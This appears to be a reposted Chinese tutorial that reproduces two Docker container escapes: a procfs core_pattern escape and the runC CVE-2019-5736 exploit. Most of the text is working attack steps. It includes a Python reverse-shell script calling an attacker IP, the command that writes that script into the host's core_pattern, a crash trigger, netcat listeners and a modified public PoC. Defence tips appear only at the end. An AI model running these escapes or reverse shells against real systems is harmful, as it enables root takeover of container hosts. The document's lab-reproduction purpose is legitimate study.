网站公司架构wordpress无法批量管理
news/
2025/9/29 6:36:02/
文章来源:
网站公司架构,wordpress无法批量管理,jsp网页成品免费下载,四川学校网站建设公Docker容器挂载procfs 逃逸
procfs是展示系统进程状态的虚拟文件系统#xff0c;包含敏感信息。直接将其挂载到不受控的容器内#xff0c;特别是容器默认拥有root权限且未启用用户隔离时#xff0c;将极大地增加安全风险。因此#xff0c;需谨慎处理#xff0c;确保容器环…
Docker容器挂载procfs 逃逸
procfs是展示系统进程状态的虚拟文件系统包含敏感信息。直接将其挂载到不受控的容器内特别是容器默认拥有root权限且未启用用户隔离时将极大地增加安全风险。因此需谨慎处理确保容器环境安全隔离。
利用文件/proc/sys/kernel/core_pattern它在Linux系统中如果进程崩溃了系统内核会捕获到进程崩溃信息将进程崩溃信息传递给这个文件中的程序或者脚本。
自Linux内核2.6.19版本起/proc/sys/kernel/core_pattern配置迎来了新扩展。若此文件首字符为管道符|紧随其后的内容即被识别为指向用户空间程序或脚本的指令系统将在生成核心转储时自动调用执行这些外部程序或脚本。这一特性增强了核心转储处理的灵活性与定制化能力。
漏洞复现
1、漏洞环境搭建
创建一个容器并挂载 /proc 目录
docker run -it --rm -v /proc/:/host/ ubuntu执行以下命令如果返回 Procfs is mounted. 说明当前挂载了 procfs如果返回 Procfs is not mounted. 则说明没有挂载。
find / -name core_pattern 2/dev/null | wc -l | grep -q 2 echo Procfs is mounted. || echo Procfs is not mounted.image-20240705131621791
漏洞利用
# 安装gcc c文件是执行不了的需要安装gcc来执行c文件
apt update apt install -y gccimage-20240705131648885
反弹shell脚本
cat /tmp/.t.py EOF
#!/usr/bin/python
import os
import pty
import socket
lhost 反弹shell的攻击机ip
lport 8888
def main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)# os.remove(/tmp/.t.py)s.close()
if __name__ __main__:main()
EOF赋予执行权限
chmod 777 /tmp/.t.pyLinux核心转储程序通过宿主机文件系统执行利用/etc/mtab中upperdir定位容器挂载点。容器未提交的文件变动在此宿主机路径上可见。
host_path$(sed -n s/.*\perdir\([^,]*\).*/\1/p /etc/mtab)写入反弹shell
echo -e |$host_path/tmp/.t.py \rcore /host/sys/kernel/core_patternimage-20240705131742594
在攻击机上开启一个监听
nc -lvvp 8888image-20240705130903563
然后在容器里运行一个可以崩溃的程序
cat /tmp/t.c EOF
#includestdio.h
int main(void) {int *a NULL;*a 1;return 0;
}
EOF
# 编译程序并执行
cd /tmp
gcc t.c -o t ./t如果出现了如下情况攻击机也没有反应那么多半是因为攻击机器没有放行8888端口 image-20240705131050975
kali放行8888端口使用iptables
iptables -A INPUT -p tcp --dport 8888 -j ACCEPT此时重新执行c文件
./t
# 或者
gcc t.c -o t ./t攻击机器即可接收反弹的shell image-20240705131315250
Docker runC逃逸-CVE-2019-5736
概述
2019年2月runC维护团队披露了一个严重安全漏洞CVE-2019-5736由SUSE Linux的高级软件工程师Aleksa Sarai发现。此漏洞影响Docker、containerd、Podman、CRI-O等广泛使用的容器运行时对IT环境和主流云平台如AWS、Google Cloud构成重大威胁。攻击者利用此漏洞可实现容器逃逸获取宿主机的root权限进而控制主机上的所有容器。
漏洞原理
漏洞根源在于runC一个作为容器底层运行时的开源工具早期作为Docker的一部分开发后独立出来。runC由高级别容器运行时如Docker调用负责容器的创建与进程管理。在受影响版本中「Docker 18.09.2之前runc版本低于1.0-rc6」攻击者可通过特定容器镜像或exec操作获取宿主机上runC的文件句柄进而篡改runc二进制文件。这一操作允许攻击者以root权限在宿主机上执行任意命令实现完全控制。
影响版本
docker version 「18.09.2」 RunC version 「1.0-rc6」
环境安装
我这里是香港服务器 centos 7.9一台攻击机腾讯云服务器
❝ 这里我推荐腾讯云服务器新用户99元可以用一年自带docker加速服务当靶场必备https://curl.qcloud.com/T7dJtWo1 ❞ 依次执行如下命令即可安装成功docker-18.03.1
sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce-18.03.1.ce
sudo systemctl start docker
sudo systemctl enable docker
docker --version❝ Tips6月开始国内大部分docker源都不能使用了要么使用香港或者国外操作系统或者推荐「龙蜥操作系统」就算搭建本地也自带外网加速 ❞ 这里docker版本原因pull不了镜像可以pull本地这里我准备好了一个docker可以直接用的ubuntu镜像【小羽网安】后台回复即【ubuntu】小伙伴们不要回复错奥ubuntuubuntuubuntu~ image-20240706184227729
将自己下载的ubuntu.tar上传到自己的靶机上使用docker加载本地镜像
docker load -i ubuntu.tar启动示例
docker run -d --name my_ubuntu_container ubuntu /bin/bash -c tail -f /dev/nullimage-20240706184423390
漏洞复现
第一步生成payload
下载CVE-2019-5736编译go脚本生成攻击payload。https://github.com/Frichetten/CVE-2019-5736-PoC,将go脚本中的命令修改为反弹shell附件
将此内容进行更改设置「nc」监听地址。 image-20240706153349579
编译生成payload需要go环境yum install go 也叫可执行文件为linux系统
CGO_ENABLED0 GOOSlinux GOARCHamd64 go build main.go建议打快照漏洞复现完成会造成docker无法使用。
第二步开始攻击
将该payload拷贝到docker容器中这就是模拟攻击者获取了docker容器权限在容器中上传payload进行docker逃逸
docker cp main df9370449f96:/home #拷贝
docker exec -it df9370449f96 /bin/bash #进入该ubuntu容器image-20240706185015303
执行payload等待受害者去启动docker容器。 image-20240706185044676
攻击机器开启瑞士军刀监听之前先放行1234端口
[rootlavm-izz8p5423g CVE-2019-5736-PoC-master]# systemctl start firewalld
[rootlavm-izz8p5423g CVE-2019-5736-PoC-master]# sudo firewall-cmd --zonepublic --add-port1234/tcp --permanent
success开启监听 image-20240706182409318
诱导受害机重新进入容器。「bash/sh」启动 image-20240706182245089
受害者启动docker容器时触发payload成功反弹shell。 image-20240706182320471
whoami漏洞利用成功 image-20240706182659200
总结
本文详细展示了两种Docker容器安全漏洞的复现过程分别是通过伪文件系统procfs的逃逸攻击和CVE-2019-5736 runC逃逸漏洞。这两种攻击均利用了容器与宿主机之间的不当隔离或软件缺陷实现了从容器内部向宿主机环境的非法访问和控制。
procfs逃逸攻击总结 「漏洞原理」通过挂载宿主机的/proc目录到容器内攻击者能够访问并修改宿主机上的关键系统文件如/proc/sys/kernel/core_pattern从而在进程崩溃时执行任意代码。 「复现步骤」 创建一个挂载/proc目录的Docker容器。 在容器内安装gcc并编写反弹shell的Python脚本。 修改宿主机上的/proc/sys/kernel/core_pattern文件使其指向容器内的反弹shell脚本。 在容器内制造进程崩溃触发核心转储机制执行反弹shell脚本从而在攻击机上获得宿主机的shell访问权限。 「防御建议」 避免将宿主机的敏感目录如/proc挂载到容器中。 容器应运行在非特权用户模式下限制其对宿主机的访问权限。 监控并审计容器内的活动及时发现异常行为。
CVE-2019-5736 runC逃逸漏洞总结 「漏洞原理」在受影响的Docker和runC版本中攻击者可以通过特定容器镜像或exec操作获取宿主机上runC的文件句柄进而篡改runc二进制文件实现以root权限执行任意命令。 「复现步骤」 在受影响的Docker环境中安装并运行易受攻击的容器。 编译并准备用于漏洞利用的payload一个Go语言编写的可执行文件。 将payload拷贝到容器中并执行等待宿主机上的Docker活动触发payload。 在攻击机上监听特定端口当受害机上的Docker活动触发payload时成功接收反弹的shell。 「防御建议」 及时更新Docker和runC到最新版本避免使用已知存在漏洞的旧版本。 实施最小权限原则限制容器内进程的运行权限。 使用容器安全扫描工具定期检测容器镜像和运行时环境中的潜在漏洞。 对宿主机和容器进行严格的访问控制和隔离减少潜在的攻击面。
通过本文的复现过程我们可以深刻认识到容器安全的重要性以及及时更新和维护软件版本的必要性。随着容器技术的广泛应用确保容器环境的安全将成为IT运维和安全团队的重要任务。
文章参考
https://mp.weixin.qq.com/s/z6lvfHo3_S6Qtl67gJPTtA
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/921486.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!